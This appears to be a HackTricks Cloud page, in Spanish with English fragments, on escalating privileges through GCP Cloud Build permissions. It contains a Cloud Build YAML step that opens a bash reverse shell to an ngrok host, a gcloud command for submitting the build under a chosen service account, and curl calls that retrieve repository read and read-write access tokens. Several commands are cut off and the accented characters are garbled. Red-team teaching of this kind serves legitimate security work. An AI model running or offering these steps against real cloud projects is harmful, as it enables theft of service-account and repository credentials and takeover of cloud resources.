GCP - Cloudbuild Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
cloudbuild
Para m谩s informaci贸n sobre Cloud Build, consulta:
cloudbuild.builds.create, iam.serviceAccounts.actAs
Con este permiso puedes submit a cloud build. La m谩quina de cloudbuild tendr谩 en su sistema de archivos por defecto un token del Service Account de cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Sin embargo, puedes indicar cualquier Service Account dentro del proyecto en la configuraci贸n de cloudbuild.
Por lo tanto, puedes hacer que la m谩quina exfiltre a tu servidor el token o obtener un reverse shell dentro de ella y conseguir el token (el archivo que contiene el token podr铆a cambiar).
Explotaci贸n directa via gcloud CLI
1- Crea cloudbuild.yaml y modif铆calo con los datos de tu listener
Configuraci贸n YAML de Cloud Build para reverse shell
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- Sube un build sencillo sin source, el archivo yaml y especifica la SA a usar en el build:
Enviar Cloud Build con la cuenta de servicio especificada
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/Usando la biblioteca python gcloud
You can find the original exploit script here on GitHub (pero la ubicaci贸n desde la que est谩 obteniendo el token no funcion贸 para m铆). Por lo tanto, revisa un script para automatizar la creation, exploit and cleaning of a vuln environment here y un python script para obtener una reverse shell dentro de la m谩quina cloudbuild y steal it here (en el c贸digo puedes encontrar c贸mo especificar otras service accounts).
For a more in-depth explanation, visit https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Con este permiso el usuario puede obtener el read access token usado para acceder al repositorio:
Obtener read access token para el repositorio
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
Con este permiso el usuario puede obtener el read and write access token utilizado para acceder al repositorio:
Obtener el read and write access token para el repositorio
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
Con este permiso puedes obtener los repositorios a los que la conexi贸n tiene acceso:
Obtener repositorios vinculables
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- 脷nete al 馃挰 Discord group o al telegram group o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

